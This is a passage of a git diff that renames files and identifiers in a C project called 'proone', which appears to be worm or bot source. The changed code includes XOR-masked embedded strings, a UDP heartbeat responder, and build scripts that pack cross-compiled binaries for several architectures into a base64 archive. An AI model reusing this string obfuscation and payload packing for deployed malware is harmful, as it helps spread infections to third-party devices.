diff options
| -rwxr-xr-x | scripts/build-all.sh | 11 | ||||
| -rwxr-xr-x | scripts/test_bin-archive.sh | 10 | ||||
| -rw-r--r-- | src/Makefile.am | 28 | ||||
| -rw-r--r-- | src/data.c (renamed from src/proone_data.c) | 8 | ||||
| -rw-r--r-- | src/data.h | 13 | ||||
| -rw-r--r-- | src/dvault.c (renamed from src/proone_dvault.c) | 96 | ||||
| -rw-r--r-- | src/dvault.h | 47 | ||||
| -rw-r--r-- | src/heartbeat-worker.c (renamed from src/proone_heartbeat-worker.c) | 16 | ||||
| -rw-r--r-- | src/heartbeat-worker.h | 9 | ||||
| -rw-r--r-- | src/pack.c (renamed from src/proone_pack.c) | 88 | ||||
| -rw-r--r-- | src/pack.h | 47 | ||||
| -rw-r--r-- | src/proone-list-arch.c | 8 | ||||
| -rw-r--r-- | src/proone-mask.c | 20 | ||||
| -rw-r--r-- | src/proone-pack.c (renamed from src/proone-packer.c) | 24 | ||||
| -rw-r--r-- | src/proone-print-all-data.c | 20 | ||||
| -rw-r--r-- | src/proone-unpack.c (renamed from src/proone-unpacker.c) | 44 | ||||
| -rw-r--r-- | src/proone.c | 132 | ||||
| -rw-r--r-- | src/proone.h | 14 | ||||
| -rw-r--r-- | src/proone_data.h | 13 | ||||
| -rw-r--r-- | src/proone_dvault.h | 47 | ||||
| -rw-r--r-- | src/proone_heartbeat-worker.h | 9 | ||||
| -rw-r--r-- | src/proone_pack.h | 47 | ||||
| -rw-r--r-- | src/proone_protocol.h | 25 | ||||
| -rw-r--r-- | src/proone_rnd.h | 27 | ||||
| -rw-r--r-- | src/proone_util.h | 34 | ||||
| -rw-r--r-- | src/proone_worker.h | 64 | ||||
| -rw-r--r-- | src/protocol.c (renamed from src/proone_protocol.c) | 52 | ||||
| -rw-r--r-- | src/protocol.h | 25 | ||||
| -rw-r--r-- | src/rnd.c (renamed from src/proone_rnd.c) | 28 | ||||
| -rw-r--r-- | src/rnd.h | 27 | ||||
| -rw-r--r-- | src/util.c (renamed from src/proone_util.c) | 26 | ||||
| -rw-r--r-- | src/util.h | 34 | ||||
| -rw-r--r-- | src/worker.c (renamed from src/proone_worker.c) | 14 | ||||
| -rw-r--r-- | src/worker.h | 64 |
34 files changed, 586 insertions, 585 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 909db75..e24cf5b 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -42,9 +42,9 @@ PROONE_PREFIX="builds" PROONE_BIN="$PROONE_PREFIX/bin" PROONE_TOOLS="$PROONE_PREFIX/tools" export PROONE_BIN_PREFIX="$PROONE_BIN/proone" -PROONE_PACKER="$PROONE_TOOLS/proone-packer" -PROONE_UNPACKER="$PROONE_TOOLS/proone-unpacker" -PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive.zz.base64" +PROONE_PACKER="$PROONE_TOOLS/proone-pack" +PROONE_UNPACKER="$PROONE_TOOLS/proone-unpack" +PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive" rm -rf "$PROONE_PREFIX" && mkdir "$PROONE_PREFIX" "$PROONE_BIN" "$PROONE_TOOLS" if [ $? -ne 0 ] ; then @@ -54,7 +54,7 @@ fi make distclean # native build for tools -./configure && make -j$(nproc) && cp -a src/proone-packer "$PROONE_PACKER" && cp -a src/proone-unpacker "$PROONE_UNPACKER" && make distclean +./configure && make -j$(nproc) && cp -a src/proone-pack "$PROONE_PACKER" && cp -a src/proone-unpack "$PROONE_UNPACKER" && make distclean if [ $? -ne 0 ]; then exit $? fi @@ -68,7 +68,8 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do done # pack -"$PROONE_PACKER" "$PROONE_BIN_PREFIX."* | pigz -z - | base64 > "$PROONE_BIN_ARCHIVE" +echo "" > "$PROONE_BIN_ARCHIVE" # don't include the credential line +"$PROONE_PACKER" "$PROONE_BIN_PREFIX."* | pigz -z - | base64 >> "$PROONE_BIN_ARCHIVE" if [ $? -ne 0 ]; then exit $? fi diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh index c4e1d93..0506102 100755 --- a/scripts/test_bin-archive.sh +++ b/scripts/test_bin-archive.sh @@ -16,10 +16,10 @@ if [ -z "$LISTARCH" ]; then LISTARCH="../src/proone-list-arch" fi if [ -z "$PACKER" ]; then - PACKER="../src/proone-packer" + PACKER="../src/proone-pack" fi if [ -z "$UNPACKER" ]; then - UNPACKER="../src/proone-unpacker" + UNPACKER="../src/proone-unpack" fi ARCH_ARR=(`"$LISTARCH"`) @@ -41,12 +41,12 @@ for arch in ${ARCH_ARR[@]}; do fi done -"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | pigz -z - | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64" +"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | pigz -z - | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then exit 2; fi -"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64" +"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then exit 2; fi @@ -58,6 +58,6 @@ for arch in ${ARCH_ARR[@]}; do fi done -echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64" | awk '{print $1;}') >> "$SIZE_LOG" +echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG" exit 0 diff --git a/src/Makefile.am b/src/Makefile.am index 910f7ba..6ebd69d 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -11,29 +11,29 @@ endif AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE $(DEV_FLAGS) noinst_LIBRARIES = libproone.a -bin_PROGRAMS = proone proone-packer proone-unpacker proone-list-arch proone-mask proone-print-all-data +bin_PROGRAMS = proone proone-pack proone-unpack proone-list-arch proone-mask proone-print-all-data libproone_a_SOURCES =\ - proone_protocol.c\ - proone_pack.c\ - proone_dvault.c\ - proone_data.c\ - proone_util.c\ - proone_rnd.c + protocol.c\ + pack.c\ + dvault.c\ + data.c\ + util.c\ + rnd.c proone_LDFLAGS = -static proone_LDADD = libproone.a $(DEP_LIBS) -lrt proone_SOURCES =\ - proone_worker.c\ - proone_heartbeat-worker.c\ + worker.c\ + heartbeat-worker.c\ proone.c -proone_packer_LDADD = libproone.a -proone_packer_SOURCES = proone-packer.c +proone_pack_LDADD = libproone.a +proone_pack_SOURCES = proone-pack.c -proone_unpacker_LDADD = libproone.a -proone_unpacker_LDFLAGS = $(DEP_LIBS) -proone_unpacker_SOURCES = proone-unpacker.c +proone_unpack_LDADD = libproone.a +proone_unpack_LDFLAGS = $(DEP_LIBS) +proone_unpack_SOURCES = proone-unpack.c proone_list_arch_LDADD = libproone.a proone_list_arch_SOURCES = proone-list-arch.c diff --git a/src/proone_data.c b/src/data.c index 7f1a4e7..6798175 100644 --- a/src/proone_data.c +++ b/src/data.c @@ -1,9 +1,9 @@ -#include "proone_data.h" +#include "data.h" -uint8_t *PROONE_DATA_DICT[NB_PROONE_DATA_KEY] = { - // PROONE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" +uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY] = { + // PRNE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", - // PROONE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" + // PRNE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", }; diff --git a/src/data.h b/src/data.h new file mode 100644 index 0000000..740e8b4 --- /dev/null +++ b/src/data.h @@ -0,0 +1,13 @@ +#pragma once +#include <stdint.h> + + +typedef enum { + PRNE_DATA_KEY_NONE = -1, + PRNE_DATA_KEY_PROC_LIM_SHM, + PRNE_DATA_KEY_SIGN_INIT_OK, + NB_PRNE_DATA_KEY +} prne_data_key_t; + + +extern uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY]; diff --git a/src/proone_dvault.c b/src/dvault.c index 1da09cc..df2f0d6 100644 --- a/src/proone_dvault.c +++ b/src/dvault.c @@ -1,4 +1,4 @@ -#include "proone_dvault.h" +#include "dvault.h" #include <stdint.h> #include <stdbool.h> @@ -7,7 +7,7 @@ #include <string.h> -const uint8_t PROONE_DVAULT_MASK[] = { +const uint8_t PRNE_DVAULT_MASK[] = { 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, @@ -40,79 +40,79 @@ static uint8_t *unmasked_buf = NULL; static size_t unmasked_buf_size = 0; -static void pne_dvault_invert_entry (const proone_data_key_t key, size_t *len) { - const size_t entry_size = proone_dvault_get_entry_size(key); +static void invert_entry (const prne_data_key_t key, size_t *len) { + const size_t entry_size = prne_dvault_get_entry_size(key); if (len != NULL) { *len = entry_size; } - memcpy(unmasked_buf, PROONE_DATA_DICT[key] + 4, entry_size); - proone_dvault_invert_mem(entry_size, unmasked_buf, proone_dvault_get_entry_salt(key)); + memcpy(unmasked_buf, PRNE_DATA_DICT[key] + 4, entry_size); + prne_dvault_invert_mem(entry_size, unmasked_buf, prne_dvault_get_entry_salt(key)); } -static void pne_dvault_entry_check (const proone_data_key_t key, const proone_data_type_t type) { - if (!(PROONE_DATA_KEY_NONE < key && key < NB_PROONE_DATA_KEY) || - !(PROONE_DATA_TYPE_NONE < type && type < NB_PROONE_DATA_TYPE) || - type != proone_dvault_get_entry_data_type(key)) { +static void entry_check (const prne_data_key_t key, const prne_data_type_t type) { + if (!(PRNE_DATA_KEY_NONE < key && key < NB_PRNE_DATA_KEY) || + !(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE) || + type != prne_dvault_get_entry_data_type(key)) { abort(); } } -const char *proone_data_type2str (const proone_data_type_t t) { +const char *prne_data_type2str (const prne_data_type_t t) { switch (t) { - case PROONE_DATA_TYPE_CSTR: return "cstr"; + case PRNE_DATA_TYPE_CSTR: return "cstr"; } return NULL; } -proone_data_type_t proone_str2data_type (const char *str) { - if (strcmp(str, proone_data_type2str(PROONE_DATA_TYPE_CSTR)) == 0) { - return PROONE_DATA_TYPE_CSTR; +prne_data_type_t prne_str2data_type (const char *str) { + if (strcmp(str, prne_data_type2str(PRNE_DATA_TYPE_CSTR)) == 0) { + return PRNE_DATA_TYPE_CSTR; } - return PROONE_DATA_TYPE_NONE; + return PRNE_DATA_TYPE_NONE; } -void proone_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt) { +void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt) { size_t i; for (i = 0; i < size; i += 1) { - m[i] ^= PROONE_DVAULT_MASK[(i + (size_t)salt) % 256]; + m[i] ^= PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]; } } -void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r) { - r->result = PROONE_DVAULT_MASK_OK; +void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r) { + r->result = PRNE_DVAULT_MASK_OK; r->str = NULL; r->str_len = 0; } -void proone_free_dvault_mask_result (proone_dvault_mask_result_t *r) { +void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r) { free(r->str); r->str_len = 0; r->str = NULL; - r->result = PROONE_DVAULT_MASK_OK; + r->result = PRNE_DVAULT_MASK_OK; } -proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { +prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { size_t i; - proone_dvault_mask_result_t ret; + prne_dvault_mask_result_t ret; - proone_init_dvault_mask_result(&ret); + prne_init_dvault_mask_result(&ret); if (data_size > 0x0000FFFF) { - ret.result = PROONE_DVAULT_MASK_TOO_LARGE; + ret.result = PRNE_DVAULT_MASK_TOO_LARGE; return ret; } - if (!(PROONE_DATA_TYPE_NONE < type && type < NB_PROONE_DATA_TYPE)) { - ret.result = PROONE_DVAULT_MASK_INVALID_TYPE; + if (!(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE)) { + ret.result = PRNE_DVAULT_MASK_INVALID_TYPE; return ret; } ret.str_len = 4 * 4 + 4 * data_size + 1; ret.str = malloc(ret.str_len); if (ret.str == NULL) { - ret.result = PROONE_DVAULT_MASK_MEM_ERR; + ret.result = PRNE_DVAULT_MASK_MEM_ERR; ret.str_len = 0; return ret; } @@ -124,21 +124,21 @@ proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, c (uint8_t)((0x000000FF & (uint32_t)data_size) >> 0)); for (i = 0; i < data_size; i += 1) { - sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PROONE_DVAULT_MASK[(i + (size_t)salt) % 256]); + sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]); } return ret; } -void proone_init_dvault (void) { +void prne_init_dvault (void) { size_t max_size = 0; size_t entry_size; - proone_data_key_t i; + prne_data_key_t i; - for (i = PROONE_DATA_KEY_NONE + 1; i < NB_PROONE_DATA_KEY; i += 1) { - entry_size = proone_dvault_get_entry_size(i); - switch (proone_dvault_get_entry_data_type(i)) { - case PROONE_DATA_TYPE_CSTR: + for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { + entry_size = prne_dvault_get_entry_size(i); + switch (prne_dvault_get_entry_data_type(i)) { + case PRNE_DATA_TYPE_CSTR: entry_size += 1; break; } @@ -158,30 +158,30 @@ void proone_init_dvault (void) { } } -void proone_deinit_dvault (void) { +void prne_deinit_dvault (void) { free(unmasked_buf); unmasked_buf = NULL; } -proone_data_type_t proone_dvault_get_entry_data_type (const proone_data_key_t key) { - return (proone_data_type_t)PROONE_DATA_DICT[key][0]; +prne_data_type_t prne_dvault_get_entry_data_type (const prne_data_key_t key) { + return (prne_data_type_t)PRNE_DATA_DICT[key][0]; } -size_t proone_dvault_get_entry_size (const proone_data_key_t key) { - return (size_t)PROONE_DATA_DICT[key][2] << 8 | (size_t)PROONE_DATA_DICT[key][3]; +size_t prne_dvault_get_entry_size (const prne_data_key_t key) { + return (size_t)PRNE_DATA_DICT[key][2] << 8 | (size_t)PRNE_DATA_DICT[key][3]; } -uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key) { - return PROONE_DATA_DICT[key][1]; +uint8_t prne_dvault_get_entry_salt (const prne_data_key_t key) { + return PRNE_DATA_DICT[key][1]; } -char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key, size_t *len) { - proone_dvault_reset_dict(); - pne_dvault_entry_check(key, PROONE_DATA_TYPE_CSTR); - pne_dvault_invert_entry(key, len); +char *prne_dvault_unmask_entry_cstr (const prne_data_key_t key, size_t *len) { + prne_dvault_reset_dict(); + entry_check(key, PRNE_DATA_TYPE_CSTR); + invert_entry(key, len); return (char*)unmasked_buf; } -void proone_dvault_reset_dict (void) { +void prne_dvault_reset_dict (void) { memset(unmasked_buf, 0, unmasked_buf_size); } diff --git a/src/dvault.h b/src/dvault.h new file mode 100644 index 0000000..71fbc5e --- /dev/null +++ b/src/dvault.h @@ -0,0 +1,47 @@ +#pragma once +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> + +#include "data.h" + + +typedef struct prne_dvault_mask_result prne_dvault_mask_result_t; + +typedef enum { + PRNE_DATA_TYPE_NONE = -1, + PRNE_DATA_TYPE_CSTR, + NB_PRNE_DATA_TYPE +} prne_data_type_t; + +typedef enum { + PRNE_DVAULT_MASK_OK, + PRNE_DVAULT_MASK_MEM_ERR, + PRNE_DVAULT_MASK_TOO_LARGE, + PRNE_DVAULT_MASK_INVALID_TYPE +} prne_dvault_mask_result_code_t; + +struct prne_dvault_mask_result { + size_t str_len; + char *str; + prne_dvault_mask_result_code_t result; +}; + + +extern const uint8_t PRNE_DVAULT_MASK[256]; + +const char *prne_data_type2str (const prne_data_type_t t); +prne_data_type_t prne_str2data_type (const char *str); +void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt); + +void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r); +void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r); +prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data); + +void prne_init_dvault (void); +void prne_deinit_dvault (void); +prne_data_type_t prne_dvault_get_entry_data_type (const prne_data_key_t key); +size_t prne_dvault_get_entry_size (const prne_data_key_t key); +uint8_t prne_dvault_get_entry_salt (const prne_data_key_t key); +char *prne_dvault_unmask_entry_cstr (const prne_data_key_t key, size_t *len); +void prne_dvault_reset_dict (void); diff --git a/src/proone_heartbeat-worker.c b/src/heartbeat-worker.c index 817021e..e3e4acd 100644 --- a/src/proone_heartbeat-worker.c +++ b/src/heartbeat-worker.c @@ -1,5 +1,5 @@ -#include "proone_heartbeat-worker.h" -#include "proone_dvault.h" +#include "heartbeat-worker.h" +#include "dvault.h" #include <stdlib.h> #include <string.h> @@ -34,7 +34,7 @@ static void heartbeat_worker_fin (void *in_ctx) { ctx->finalised = true; } -static void heartbeat_worker_work (void *in_ctx, const proone_worker_sched_info_t *sched_info, proone_worker_sched_req_t *sched_req) { +static void heartbeat_worker_work (void *in_ctx, const prne_worker_sched_info_t *sched_info, prne_worker_sched_req_t *sched_req) { DECL_CTX_PTR(in_ctx); if (sched_req->pollfd_ready) { @@ -42,7 +42,7 @@ static void heartbeat_worker_work (void *in_ctx, const proone_worker_sched_info_ if (revents & (POLLERR | POLLHUP | POLLNVAL)) { ctx->finalised = true; - sched_req->flags = PROONE_WORKER_SCHED_FLAG_NONE; + sched_req->flags = PRNE_WORKER_SCHED_FLAG_NONE; return; } if (revents & POLLIN) { @@ -55,7 +55,7 @@ static void heartbeat_worker_work (void *in_ctx, const proone_worker_sched_info_ addr_len = sizeof(struct sockaddr_in); if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { - proone_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); + prne_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); } } @@ -64,14 +64,14 @@ static void heartbeat_worker_work (void *in_ctx, const proone_worker_sched_info_ addr_len = sizeof(struct sockaddr_in6); if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { - proone_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); + prne_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); } } } } - sched_req->flags = PROONE_WORKER_SCHED_FLAG_POLL; + sched_req->flags = PRNE_WORKER_SCHED_FLAG_POLL; sched_req->mem_func.alloc(sched_req, 1); sched_req->pollfd_arr[0].fd = ctx->fd; sched_req->pollfd_arr[0].events = POLLIN; @@ -83,7 +83,7 @@ static bool heartbeat_worker_has_finalised (void *in_ctx) { } -bool proone_alloc_heartbeat_worker (proone_worker_t *w) { +bool prne_alloc_heartbeat_worker (prne_worker_t *w) { bool ret = true; hb_w_ctx_t *ctx = NULL; diff --git a/src/heartbeat-worker.h b/src/heartbeat-worker.h new file mode 100644 index 0000000..7a5f060 --- /dev/null +++ b/src/heartbeat-worker.h @@ -0,0 +1,9 @@ +#pragma once +#include "worker.h" + +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> + + +bool prne_alloc_heartbeat_worker (prne_worker_t *w); diff --git a/src/proone_pack.c b/src/pack.c index dec602e..e83d433 100644 --- a/src/proone_pack.c +++ b/src/pack.c @@ -1,5 +1,5 @@ -#include "proone_pack.h" -#include "proone_util.h" +#include "pack.h" +#include "util.h" #include <stdint.h> #include <stdbool.h> @@ -16,7 +16,7 @@ #include <zlib.h> -void proone_init_bin_archive (proone_bin_archive_t *a) { +void prne_init_bin_archive (prne_bin_archive_t *a) { a->data_size = 0; a->data = NULL; a->nb_binaries = 0; @@ -25,17 +25,17 @@ void proone_init_bin_archive (proone_bin_archive_t *a) { a->size_arr = NULL; } -void proone_init_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r) { +void prne_init_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { r->data_size = 0; r->data = NULL; - r->result = PROONE_UNPACK_BIN_ARCHIVE_OK; + r->result = PRNE_UNPACK_BIN_ARCHIVE_OK; r->err = 0; } -proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { +prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { static const size_t fd_buf_size = 77, bio_buf_size = 58, z_buf_size = 4096; - proone_unpack_bin_archive_result_t ret; + prne_unpack_bin_archive_result_t ret; BIO *b64_bio = NULL, *mem_bio = NULL; uint8_t *mem = NULL, *fd_buf = NULL, *bio_buf = NULL, *z_buf = NULL; int fd_read_size, fd_data_size, bio_write_size, bio_read_size; @@ -45,12 +45,12 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { void *ny_buf; bool stream_end; - proone_init_unpack_bin_archive_result(&ret); + prne_init_unpack_bin_archive_result(&ret); memset(&stream, 0, sizeof(z_stream)); mem = (uint8_t*)malloc(fd_buf_size + bio_buf_size + z_buf_size); if (mem == NULL) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; ret.err = errno; goto END; } @@ -60,13 +60,13 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { z_func_ret = inflateInit(&stream); if (z_func_ret != Z_OK) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_Z_ERR; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; ret.err = z_func_ret; goto END; } if ((mem_bio = BIO_new(BIO_s_mem())) == NULL || (b64_bio = BIO_new(BIO_f_base64())) == NULL) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; ret.err = ERR_get_error(); goto END; } @@ -77,7 +77,7 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { do { fd_read_size = read(fd, fd_buf, fd_buf_size); if (fd_read_size < 0) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_ERRNO; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_ERRNO; ret.err = errno; goto END; } @@ -86,19 +86,19 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { } // remove white spaces - fd_data_size = proone_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size); + fd_data_size = prne_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size); if (fd_data_size > 0) { BIO_reset(mem_bio); bio_write_size = BIO_write(mem_bio, fd_buf, fd_data_size); if (bio_write_size != fd_data_size) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; goto END; } bio_read_size = BIO_read(b64_bio, bio_buf, (int)bio_buf_size); if (bio_read_size < 0) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; ret.err = ERR_get_error(); goto END; } @@ -118,7 +118,7 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { case Z_BUF_ERROR: break; default: - ret.result = PROONE_UNPACK_BIN_ARCHIVE_Z_ERR; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; ret.err = z_func_ret; goto END; } @@ -127,7 +127,7 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { if (z_out_size > 0) { ny_buf = realloc(ret.data, ret.data_size + z_out_size); if (ny_buf == NULL) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR; + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; ret.err = errno; break; } @@ -143,7 +143,7 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { END: free(mem); - if (ret.result != PROONE_UNPACK_BIN_ARCHIVE_OK) { + if (ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { free(ret.data); ret.data = NULL; ret.data_size = 0; @@ -155,33 +155,33 @@ END: return ret; } -proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, proone_bin_archive_t *out) { - proone_index_bin_archive_result_code_t ret = PROONE_INDEX_BIN_ARCHIVE_OK; - size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PROONE_ARCH], size_arr[NB_PROONE_ARCH]; - proone_arch_t arch; +prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_archive_result_t *in, prne_bin_archive_t *out) { + prne_index_bin_archive_result_code_t ret = PRNE_INDEX_BIN_ARCHIVE_OK; + size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PRNE_ARCH], size_arr[NB_PRNE_ARCH]; + prne_arch_t arch; uint32_t bin_size; - proone_arch_t arch_arr[NB_PROONE_ARCH]; - proone_bin_archive_t archive; + prne_arch_t arch_arr[NB_PRNE_ARCH]; + prne_bin_archive_t archive; uint8_t *out_buf; - memset(arch_arr, 0, sizeof(proone_arch_t) * NB_PROONE_ARCH); - memset(offset_arr, 0, sizeof(size_t) * NB_PROONE_ARCH); - memset(size_arr, 0, sizeof(size_t) * NB_PROONE_ARCH); - proone_init_bin_archive(&archive); + memset(arch_arr, 0, sizeof(prne_arch_t) * NB_PRNE_ARCH); + memset(offset_arr, 0, sizeof(size_t) * NB_PRNE_ARCH); + memset(size_arr, 0, sizeof(size_t) * NB_PRNE_ARCH); + prne_init_bin_archive(&archive); do { - if (buf_pos + 4 >= in->data_size || arr_cnt >= NB_PROONE_ARCH) { - ret = PROONE_INDEX_BIN_ARCHIVE_FMT_ERR; + if (buf_pos + 4 >= in->data_size || arr_cnt >= NB_PRNE_ARCH) { + ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; goto END; } - arch = (proone_arch_t)in->data[buf_pos]; + arch = (prne_arch_t)in->data[buf_pos]; bin_size = ((uint32_t)in->data[buf_pos + 1] << 16) | ((uint32_t)in->data[buf_pos + 2] << 8) | (uint32_t)in->data[buf_pos + 3]; - if (proone_arch2str(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { - ret = PROONE_INDEX_BIN_ARCHIVE_FMT_ERR; + if (prne_arch2str(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { + ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; goto END; } @@ -193,19 +193,19 @@ proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_b buf_pos += 4 + bin_size; } while (buf_pos < in->data_size); - out_buf = (uint8_t*)malloc(sizeof(proone_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt + sizeof(size_t*) * arr_cnt); + out_buf = (uint8_t*)malloc(sizeof(prne_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt + sizeof(size_t*) * arr_cnt); if (out_buf == NULL) { - ret = PROONE_INDEX_BIN_ARCHIVE_MEM_ERR; + ret = PRNE_INDEX_BIN_ARCHIVE_MEM_ERR; goto END; } - archive.arch_arr = (proone_arch_t*)out_buf; - archive.offset_arr = (size_t*)(out_buf + sizeof(proone_arch_t) * arr_cnt); - archive.size_arr = (size_t*)(out_buf + sizeof(proone_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt); + archive.arch_arr = (prne_arch_t*)out_buf; + archive.offset_arr = (size_t*)(out_buf + sizeof(prne_arch_t) * arr_cnt); + archive.size_arr = (size_t*)(out_buf + sizeof(prne_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt); archive.data_size = in->data_size; archive.data 